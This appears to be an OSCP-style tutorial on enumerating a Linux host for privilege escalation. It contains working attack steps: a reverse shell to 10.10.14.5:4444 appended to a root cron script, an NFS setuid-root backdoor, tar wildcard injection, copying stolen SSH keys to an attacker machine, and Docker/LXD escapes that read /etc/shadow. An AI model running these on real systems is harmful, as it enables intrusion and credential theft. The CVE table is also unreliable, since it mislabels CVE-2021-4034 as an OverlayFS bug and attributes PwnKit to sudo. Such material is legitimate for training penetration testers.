Objective: Systematically collect all system information to identify privilege escalation vectors. This is the foundation of every successful privesc attempt.
Table of Contents
- Why System Info Gathering Matters
- Kernel Enumeration
- OS and Distribution Detection
- Architecture Detection
- CPU and Memory
- Disk and Mounts
- Network Information
- Processes
- Services
- Installed Packages
- Shell and Environment
- History Files
- Configuration Files
- SSH Keys
- Docker and Containers
- Complete Enumeration Checklist
- OSCP Exam Tips
Why System Info Gathering Matters
System information gathering is the foundation of privilege escalation. Every exploit, every misconfiguration, every weakness is discovered through thorough enumeration.
The Enumeration Mindset
Information → Pattern Recognition → Exploit Selection → Privilege Escalation
│ │ │ │
▼ ▼ ▼ ▼
Kernel ver SUID binary found GTFOBins match Root shell
Cron job Writable config Exploit-DB match Access gained
Docker sock Old service ver Manual exploit Flag captured
Why Each Piece of Info Matters
| Information |
Why It Matters |
Example Exploit |
| Kernel version |
CVE lookup for local privesc |
Dirty COW, OverlayFS |
| Architecture |
Exploit binary compatibility |
x86_64 vs ARM |
| Installed packages |
Known vulnerable versions |
Sudo < 1.8.31 (PwnKit) |
| Running services |
Service-specific exploits |
Docker escape, LXD escape |
| Cron jobs |
Writable scripts, path hijack |
Root cron with $PATH |
| Environment vars |
Stored credentials |
MYSQL_PWD, API keys |
| History files |
Passwords, commands |
.bash_history with secrets |
| Mount points |
NFS no_root_squash |
Mount from attacker machine |
| SUID binaries |
Direct root execution |
GTFOBins exploits |
Kernel Enumeration
The kernel version is the single most important piece of information for privesc.
Commands
# Primary kernel version check
uname -a
uname -r
# Kernel version from proc
cat /proc/version
# Detailed kernel info
cat /proc/sys/kernel/osrelease
cat /proc/sys/kernel/version
Example Output
uname -a
# Linux target 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 GNU/Linux
# │ │ │ │
# │ │ │ └── Architecture
# │ │ └─────── OS type
# │ └─────────────────────────────────────────── Kernel version
# └──────────────────────────────────────────────── Hostname
uname -r
# 5.4.0-42-generic
Why Kernel Version Matters
- CVE Lookup: Each kernel version has known vulnerabilities
- Exploit Compatibility: Exploits are version-specific
- Patch Status: Determines if system is vulnerable
Kernel Exploit Resources
# Searchsploit for kernel version
searchsploit linux 5.4.0
searchsploit ubuntu 20.04 kernel
# Linux Exploit Suggester
./linux-exploit-suggester.sh
# Linux Kernel Privilege Escalation Checker
./linPEAS
Common Kernel Privesc CVEs
| CVE |
Affected Kernels |
Description |
| CVE-2016-5195 |
< 4.8 |
Dirty Cow - write to read-only mappings |
| CVE-2021-4034 |
< 5.12 |
OverlayFS - escape container to root |
| CVE-2022-0847 |
< 5.10 |
dirty_pipe - overwrite read-only files |
| CVE-2023-3269 |
< 6.2 |
eBPF - privilege escalation |
| CVE-2022-2588 |
< 5.16 |
nftnl - use-after-free |
OS and Distribution Detection
Different distributions have different default packages, services, and configurations.
Commands
# Primary OS detection
cat /etc/os-release
# Alternative OS files
cat /etc/issue
cat /etc/lsb-release 2>/dev/null
# LSB release command
lsb_release -a 2>/dev/null
# Distro-specific
cat /etc/redhat-release 2>/dev/null
cat /etc/debian_version 2>/dev/null
cat /etc/alpine-release 2>/dev/null
Example Output
cat /etc/os-release
# PRETTY_NAME="Ubuntu 20.04.3 LTS"
# NAME="Ubuntu"
# VERSION_ID="20.04"
# VERSION="20.04.3 LTS (Focal Fossa)"
# ID=ubuntu
# ID_LIKE=debian
# HOME_URL="https://www.ubuntu.com/"
# SUPPORT_URL="https://help.ubuntu.com/"
# BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
# PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
# VERSION_CODENAME=focal
# UBUNTU_CODENAME=focal
Why Distribution Matters
| Distribution |
Package Manager |
Init System |
Common Services |
| Ubuntu/Debian |
apt, dpkg |
systemd |
Apache, Nginx, MySQL |
| RHEL/CentOS |
yum, rpm |
systemd |
HTTPD, PostgreSQL |
| Alpine |
apk |
OpenRC |
BusyBox utilities |
| Kali |
apt, dpkg |
systemd |
Penetration tools |
| SUSE |
zypper, rpm |
systemd |
Enterprise services |
Package Manager Implications
# Debian/Ubuntu
dpkg -l # List packages
apt list --installed # List installed
apt-cache show package # Package details
# RHEL/CentOS
rpm -qa # List packages
yum list installed # List installed
dnf list installed # Newer RHEL
# Alpine
apk list --installed # List packages
Architecture Detection
Architecture determines which exploit binaries you can use.
Commands
# Primary architecture check
uname -m
# Package manager architecture
dpkg --print-architecture 2>/dev/null
# Detailed CPU info
lscpu | grep "Architecture\|CPU\(s\)\|Model name"
# Processor info
cat /proc/cpuinfo | head -20
Example Output
uname -m
# x86_64
dpkg --print-architecture
# amd64
lscpu | grep -E "Architecture|CPU|Model"
# Architecture: x86_64
# CPU(s): 2
# Model name: Intel Core i7-8550U
Architecture Values and Exploit Compatibility
| Architecture |
uname -m |
Exploit Format |
Notes |
| 64-bit x86 |
x86_64 |
linux/x64 |
Most common, best exploit support |
| 32-bit x86 |
i686 |
linux/x86 |
Older systems, some exploits only |
| ARM 64-bit |
aarch64 |
linux/arm64 |
Raspberry Pi, AWS Graviton |
| ARM 32-bit |
armv7l |
linux/arm |
Older ARM devices |
| MIPS |
mips |
linux/mips |
Embedded systems |
Why Architecture Matters
- Exploit binaries must match the target architecture
- 64-bit systems can run 32-bit exploits (with multiarch)
- ARM systems need ARM-specific exploits
- Cross-compilation may be needed
# Check if 32-bit libs available (for running 32-bit exploits)
dpkg --print-foreign-architectures
# i386
# If not available, install them
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6:i386
CPU and Memory
Commands
# CPU information
lscpu
nproc
cat /proc/cpuinfo | grep "model name" | head -1
# Memory information
free -h
cat /proc/meminfo | head -10
Example Output
lscpu
# Architecture: x86_64
# CPU op-mode(s): 32-bit, 64-bit
# Byte Order: Little Endian
# CPU(s): 2
# On-line CPU(s) list: 0,1
# Thread(s) per core: 1
# Core(s) per socket: 2
# Socket(s): 1
# Model name: Intel Core i7-8550U CPU @ 1.80GHz
free -h
# total used free shared buff/cache available
# Mem: 3.8Gi 1.2Gi 800Mi 45Mi 1.8Gi 2.3Gi
# Swap: 1.0Gi 0B 1.0Gi
Why CPU/Memory Matters
- CPU count affects exploit timing (race conditions)
- Memory size determines if large exploits will work
- Architecture details affect exploit compatibility
- Swap usage can indicate memory pressure (affects stability)
Disk and Mounts
Commands
# Disk usage
df -h
df -T # Show filesystem types
# Mount points
mount
cat /proc/mounts
# Fstab (persistent mounts)
cat /etc/fstab
# Block devices
lsblk
fdisk -l 2>/dev/null
Example Output
df -h
# Filesystem Size Used Avail Use% Mounted on
# /dev/sda1 50G 20G 27G 43% /
# tmpfs 1.9G 0 1.9G 0% /dev/shm
# /dev/sdb1 20G 5.0G 14G 27% /mnt/data
# none 4.0K 0 4.0K 0% /sys/fs/cgroup
mount
# /dev/sda1 on / type ext4 (rw,relatime)
# tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
# //192.168.1.100/shared on /mnt/cifs type cifs (rw,vers=3.0,cred=/etc/samba/creds)
# 192.168.1.50:/export on /mnt/nfs type nfs (rw,vers=3,rsize=32768)
cat /etc/fstab
# /dev/sda1 / ext4 defaults 0 1
# /dev/sdb1 /mnt/data ext4 defaults 0 2
# //server/share /mnt/cifs cifs credentials=/etc/samba/creds,iocharset=utf8 0 0
Critical Mount Types for Privesc
| Mount Type |
Risk |
Exploitation |
| NFS |
High |
Check for no_root_squash |
| CIFS/SMB |
Medium |
Credentials in fstab or credential files |
| Docker volume |
Critical |
May expose host filesystem |
| tmpfs |
Low |
RAM disk, no persistence |
| FUSE |
Medium |
User-space filesystem, may have issues |
| bind mount |
Medium |
May expose sensitive directories |
NFS no_root_squash Exploitation
# Check NFS mount options
mount | grep nfs
# Look for: no_root_squash
# If found, mount from attacker machine
showmount -e 192.168.1.50
mount -o nolock 192.168.1.50:/export /tmp/nfs
# Create SUID binary on the NFS share
echo '#include <stdio.h>' > /tmp/nfs/backdoor.c
echo 'int main() { setuid(0); setgid(0); system("/bin/bash"); }' >> /tmp/nfs/backdoor.c
gcc -o /tmp/nfs/backdoor /tmp/nfs/backdoor.c
chmod +s /tmp/nfs/backdoor
# Run on target
/mnt/nfs/backdoor # Root shell!
Commands
# Network interfaces
ip addr
ip a
# Routing table
ip route
ip r
# Listening ports
ss -tulpn
netstat -tulpn 2>/dev/null
# DNS configuration
cat /etc/resolv.conf
cat /etc/hosts
# ARP table
ip neigh
arp -a 2>/dev/null
# Network connections
ss -antp
netstat -antp 2>/dev/null
Example Output
ip addr
# 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536
# inet 127.0.0.1/8 scope host lo
# 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
# inet 10.10.14.22/24 brd 10.10.14.255 scope global eth0
# inet6 fe80::a00:27ff:fe81:6a9b/64 scope link
ip route
# default via 10.10.14.1 dev eth0
# 10.10.14.0/24 dev eth0 proto kernel scope link src 10.10.14.22
ss -tulpn
# Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
# tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
# tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("apache2",pid=5678,fd=4))
# tcp LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=9012,fd=20))
# tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("node",pid=3456,fd=18))
Why Network Info Matters
| Information |
Privesc Value |
| Internal services |
Local exploitation, pivoting |
| Listening ports |
Identify running services to exploit |
| Routes |
Network topology, pivot opportunities |
| DNS config |
Internal domain info, DNS rebinding |
| Hosts file |
Internal hostnames and IPs |
Local Service Exploitation
# MySQL on localhost
mysql -u root -h 127.0.0.1
# Try empty password, or check for credentials in configs
# Redis on localhost
redis-cli -h 127.0.0.1
# Check if authentication required
# If not, write SSH key or cron job
# MongoDB on localhost
mongo --host 127.0.0.1
# Unauthenticated access possible
Processes
Commands
# All processes
ps aux
ps -ef
# Process tree
ps auxf
pstree -p
# Specific user's processes
ps aux | grep www-data
# High CPU processes
ps aux --sort=-%cpu | head -10
# Check /proc
ls /proc/ | grep -E '^[0-9]+$'
cat /proc/<pid>/status
cat /proc/<pid>/cmdline | tr '\0' ' '
Example Output
ps aux
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 1 0.0 0.1 16980 3200 ? Ss 10:00 0:01 /sbin/init
# root 456 0.0 0.1 15432 2800 ? Ss 10:00 0:00 /usr/sbin/sshd -D
# www-data 789 2.5 1.2 45678 9800 ? S 10:05 0:15 /usr/sbin/apache2
# root 1012 0.0 0.3 78901 5600 ? Sl 10:05 0:02 /usr/sbin/mysqld
# john 1234 0.0 0.1 12345 2100 pts/0 Ss 11:30 0:00 -bash
# john 1256 0.0 0.0 8765 1200 pts/0 R+ 11:35 0:00 ps aux
Why Processes Matter
- Root processes may have vulnerabilities
- Unusual processes may be backdoors
- Process paths may reveal writable locations
- Environment variables in
/proc/<pid>/environ may contain credentials
# Read environment of a process (may need root)
cat /proc/<pid>/environ | tr '\0' '\n'
# Check for interesting environment variables
cat /proc/<pid>/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'password|token|key|secret|api'
Services
Commands
# Systemd services
systemctl list-units --type=service --state=running
systemctl list-units --type=service
# All services status
service --status-all 2>/dev/null
# Init.d scripts
ls -la /etc/init.d/
# Check specific service
systemctl status apache2
systemctl status mysql
Example Output
systemctl list-units --type=service --state=running
# UNIT LOAD ACTIVE SUB DESCRIPTION
# apache2.service loaded active running Apache HTTP Server
# mysql.service loaded active running MySQL Community Server
# ssh.service loaded active running OpenBSD Secure Shell server
# docker.service loaded active running Docker Application Container Engine
# cron.service loaded active running Regular background program processing daemon
# 5 loaded units listed.
Why Services Matter
| Service |
Privesc Vector |
| Docker |
Container escape, socket access |
| LXD/LXC |
Privileged container escape |
| Apache/Nginx |
Config files with credentials |
| MySQL/PostgreSQL |
Local auth bypass, UDF exploits |
| Redis |
Unauthenticated write access |
| Cron |
Writable cron jobs, path hijacking |
| Sudo |
Misconfigured sudoers |
Installed Packages
Commands
# Debian/Ubuntu
dpkg -l
dpkg -l | grep -iE 'sudo|docker|lxc|lxd|ansible|terraform'
# RHEL/CentOS
rpm -qa
rpm -qa | grep -iE 'sudo|docker|lxc'
# Python packages
pip list 2>/dev/null
pip3 list 2>/dev/null
# Ruby gems
gem list 2>/dev/null
# Node.js packages
npm list -g 2>/dev/null
# Perl modules
cpan -l 2>/dev/null | head -20
Why Packages Matter
- Vulnerable versions of common packages (sudo, polkit, etc.)
- Development tools (gcc, python, perl) for compiling exploits
- Container runtimes (docker, lxc, lxd) for container escapes
- Automation tools (ansible, terraform) with stored credentials
Critical Package Checks
# Check sudo version (PwnKit CVE-2021-4034)
sudo -V | head -1
# sudo 1.8.31 -> vulnerable if < 1.9.5p2
# Check for development tools
which gcc cc g++ make python python3 perl ruby 2>/dev/null
# Check for container tools
which docker lxc lxd podman 2>/dev/null
Shell and Environment
Commands
# Current shell
echo $SHELL
echo $0
# Available shells
cat /etc/shells
# Environment variables
env
set
# PATH
echo $PATH
# Interesting environment variables
env | grep -iE 'password|token|key|secret|api|auth|credential'
Example Output
echo $SHELL
# /bin/bash
cat /etc/shells
# /bin/sh
# /bin/bash
# /usr/bin/bash
# /bin/zsh
env | grep -iE 'password|token|key'
# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# MYSQL_PWD=supersecretpassword
# API_TOKEN=eyJhbGciOiJIUzI1NiIsInR5c
Why Environment Matters
- Credentials in environment variables are common
- PATH manipulation can hijack command execution
- Custom shells may have different capabilities
- LD_PRELOAD can inject code into processes
Dangerous Environment Variables
| Variable |
Risk |
Exploitation |
AWS_SECRET_ACCESS_KEY |
High |
Cloud access |
MYSQL_PWD |
High |
Database access |
API_TOKEN |
High |
API access |
PATH |
Medium |
Command hijacking |
LD_PRELOAD |
Critical |
Code injection |
PYTHONPATH |
Medium |
Python module hijacking |
History Files
Commands
# Bash history
cat ~/.bash_history
cat /root/.bash_history 2>/dev/null
# Zsh history
cat ~/.zsh_history 2>/dev/null
cat ~/.zshrc 2>/dev/null
# MySQL history
cat ~/.mysql_history 2>/dev/null
# Wget history
cat ~/.wget-hsts 2>/dev/null
# Python history
cat ~/.python_history 2>/dev/null
# Find all history files
find / -name "*.bash_history" -o -name "*.zsh_history" -o -name "*.mysql_history" 2>/dev/null
What to Look For
# Passwords used in commands
grep -iE 'password|passwd|pwd' ~/.bash_history
# SQL commands with credentials
grep -iE 'mysql|psql|mongo' ~/.bash_history
# SSH connections
grep 'ssh ' ~/.bash_history
# Sudo commands
grep 'sudo ' ~/.bash_history
# File operations
grep -E 'cp |mv |chmod |chown ' ~/.bash_history
Example Findings
# Passwords in history
mysql -u root -pSuperSecret123
sshpass -p 'password123' ssh user@server
echo "MY_API_KEY=abc123" >> .env
# Useful commands showing system knowledge
sudo systemctl restart apache2
docker exec -it container /bin/bash
Configuration Files
Commands
# Shell configs
cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile
cat ~/.zshrc
# SSH configs
cat ~/.ssh/config 2>/dev/null
ls -la ~/.ssh/ 2>/dev/null
# Crontab
crontab -l
cat /etc/crontab
ls -la /etc/cron.* 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
# Application configs
find /etc -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.yaml" -o -name "*.yml" -o -name "*.json" 2>/dev/null | head -30
What to Look For in Configs
| File |
What to Find |
.bashrc / .profile |
Credentials, aliases, functions |
.ssh/config |
SSH keys, host aliases, forwarding |
crontab |
Writable scripts, path hijacking |
| Apache/Nginx configs |
Credentials, virtual hosts |
| Database configs |
Connection strings, passwords |
| Application configs |
API keys, database credentials |
Crontab Privesc
# Check current user's cron
crontab -l
# Check system crons
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*
# Check writable cron files
find /etc/cron* -writable 2>/dev/null
# Check cron scripts for writable paths
for f in /etc/cron.d/*; do cat "$f" 2>/dev/null; done
Cron Exploitation Patterns
# Pattern 1: Writable cron script
# /etc/crontab contains:
# * * * * * root /opt/scripts/backup.sh
# If /opt/scripts/backup.sh is writable:
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' >> /opt/scripts/backup.sh
# Pattern 2: PATH hijacking
# /etc/crontab contains:
# * * * * * root /usr/bin/python /opt/scripts/cleanup.py
# If $PATH is manipulated or script uses relative paths:
# Create /tmp/python that spawns root shell
# Pattern 3: Wildcard injection
# Cron runs: /usr/bin/tar czf /backup/$(date +\%F).tar.gz /important/
# Create files like --checkpoint=1 --checkpoint-action=exec=/bin/bash in /important/
SSH Keys
Commands
# Find SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
# Check authorized_keys
find / -name "authorized_keys" 2>/dev/null
# SSH directory contents
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
# Check SSH config
cat ~/.ssh/config 2>/dev/null
Why SSH Keys Matter
- Private keys allow direct SSH access
- authorized_keys with other users’ keys allows lateral movement
- World-readable private keys are a critical finding
- SSH agent forwarding can be abused
Using Found Keys
# Copy key to attacker machine
scp /path/to/id_rsa attacker@10.10.14.5:/tmp/
# Use the key
ssh -i /tmp/id_rsa user@target
# Check key permissions
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no user@target
Docker and Containers
Commands
# Docker socket
ls -la /var/run/docker.sock 2>/dev/null
# Docker group
id -Gn | grep docker
# Docker info
docker info 2>/dev/null
docker ps -a 2>/dev/null
# LXD
lxc list 2>/dev/null
id -Gn | grep lxd
Docker Socket Exploitation
If /var/run/docker.sock is accessible:
# Get root shell via Docker
docker run -v /:/hostroot -it ubuntu chroot /hostroot /bin/bash
# Or mount host filesystem
docker run --rm -v /:/mnt -it alpine chroot /mnt
# Inspect containers for secrets
docker inspect <container_id>
docker exec -it <container_id> /bin/bash
LXD Escape
# Build or import Alpine image
lxc image import ./alpine.tar.gz --alias myimage
# Create privileged container
lxc init myimage privesc -c security.privileged=true
# Mount host root
lxc config device add privesc hostvol disk source=/ path=/mnt/host recursive=true
# Start and access
lxc start privesc
lxc exec privesc /bin/bash
# Now /mnt/host is the host filesystem
cd /mnt/host
cat /etc/shadow
Complete Enumeration Checklist
| # |
Command |
Purpose |
| 1 |
id |
Current user and groups |
| 2 |
whoami |
Current username |
| 3 |
uname -a |
Kernel and architecture |
| 4 |
hostname |
System hostname |
| 5 |
echo $SHELL |
Current shell |
Phase 2: User and Group (2 Minutes)
| # |
Command |
Purpose |
| 6 |
cat /etc/passwd |
All users |
| 7 |
grep -vE '/nologin|/false' /etc/passwd |
Login shells |
| 8 |
awk -F: '$3 == 0 {print $1}' /etc/passwd |
UID 0 accounts |
| 9 |
cat /etc/group |
All groups |
| 10 |
sudo -l |
Sudo privileges |
Phase 3: System Info (3 Minutes)
| # |
Command |
Purpose |
| 11 |
cat /etc/os-release |
OS version |
| 12 |
uname -m |
Architecture |
| 13 |
cat /proc/version |
Kernel details |
| 14 |
df -h |
Disk and mounts |
| 15 |
mount |
Mount points |
Phase 4: Services and Processes (3 Minutes)
| # |
Command |
Purpose |
| 16 |
ps aux |
Running processes |
| 17 |
ss -tulpn |
Listening ports |
| 18 |
systemctl list-units --type=service |
Services |
| 19 |
crontab -l |
User cron jobs |
| 20 |
cat /etc/crontab |
System cron |
Phase 5: SUID and Capabilities (2 Minutes)
| # |
Command |
Purpose |
| 21 |
find / -perm -4000 -type f 2>/dev/null |
SUID binaries |
| 22 |
find / -perm -2000 -type f 2>/dev/null |
SGID binaries |
| 23 |
getcap -r / 2>/dev/null |
Capabilities |
| 24 |
find / -writable -type f 2>/dev/null |
Writable files |
| 25 |
find / -type d -perm -0002 2>/dev/null |
Writable dirs |
Phase 6: Credentials and History (3 Minutes)
| # |
Command |
Purpose |
| 26 |
env | grep -iE 'pass|token|key' |
Env credentials |
| 27 |
cat ~/.bash_history |
Command history |
| 28 |
find / -name "id_rsa" 2>/dev/null |
SSH keys |
| 29 |
cat ~/.ssh/authorized_keys |
SSH access |
| 30 |
ls -la /etc/shadow |
Shadow permissions |
Phase 7: Container and Special (2 Minutes)
| # |
Command |
Purpose |
| 31 |
ls -la /var/run/docker.sock |
Docker socket |
| 32 |
id -Gn | grep -E 'docker|lxd' |
Container groups |
| 33 |
docker ps 2>/dev/null |
Running containers |
| 34 |
cat /etc/fstab |
Persistent mounts |
| 35 |
mount | grep -E 'nfs|cifs' |
Network mounts |
OSCP Exam Tips
Systematic Approach
1. Identity (30s) → id, whoami, uname -a
2. Users/Groups (1m) → /etc/passwd, /etc/group, sudo -l
3. System Info (2m) → OS, kernel, arch, mounts
4. Services (2m) → ps, ss, systemctl, crontab
5. SUID/Caps (2m) → find SUID, getcap
6. Credentials (3m) → env, history, SSH keys, configs
7. Containers (1m) → docker, lxd, socket
8. Exploit Selection → Match findings to exploits
What to Prioritize
| Priority |
Check |
Why |
| P0 |
id, sudo -l |
Immediate privilege info |
| P0 |
SUID binaries |
Direct root path |
| P1 |
Kernel version |
Exploit lookup |
| P1 |
Docker/LXD access |
Container escape |
| P1 |
Environment vars |
Quick credentials |
| P2 |
Cron jobs |
Scheduled privilege abuse |
| P2 |
Writable files |
Config manipulation |
| P3 |
Process list |
Service vulnerabilities |
| P3 |
History files |
Password discovery |
Time Management
- First 5 minutes: Complete Phases 1-3 (identity, users, system)
- Minutes 5-10: Complete Phases 4-5 (services, SUID)
- Minutes 10-15: Complete Phases 6-7 (credentials, containers)
- Minutes 15+: Exploit selection and execution
Common Exam Machine Patterns
| Machine Type |
Likely Vector |
Quick Check |
| Web app box |
SUID binary, cron |
find / -perm -4000, crontab -l |
| Database box |
Local service, creds |
ss -tulpn, env |
| Container box |
Docker/LXD escape |
id -Gn, ls /var/run/docker.sock |
| Legacy box |
Kernel exploit |
uname -r, searchsploit |
| Misconfig box |
Sudo, writable files |
sudo -l, find / -writable |
Quick Commands to Memorize
# The "Big 5" - run these first
id
whoami
uname -a
sudo -l
find / -perm -4000 -type f 2>/dev/null
# The "Credential 5"
env | grep -iE 'pass|token|key|secret'
cat ~/.bash_history
find / -name "id_rsa" 2>/dev/null
cat /etc/shadow 2>/dev/null
ls -la /var/run/docker.sock 2>/dev/null
# The "Service 5"
ps aux
ss -tulpn
crontab -l
cat /etc/crontab
systemctl list-units --type=service --state=running
Remember
- Enumeration is iterative - each finding leads to more checks
- Document everything - use a notes file or one-liner
- Don’t skip basics - many boxes are pwned with
sudo -l or SUID
- Check every home directory - credentials are often left behind
- Think about what you found - connect the dots between findings
Previous: Privilege Levels | Back to User and Group Enumeration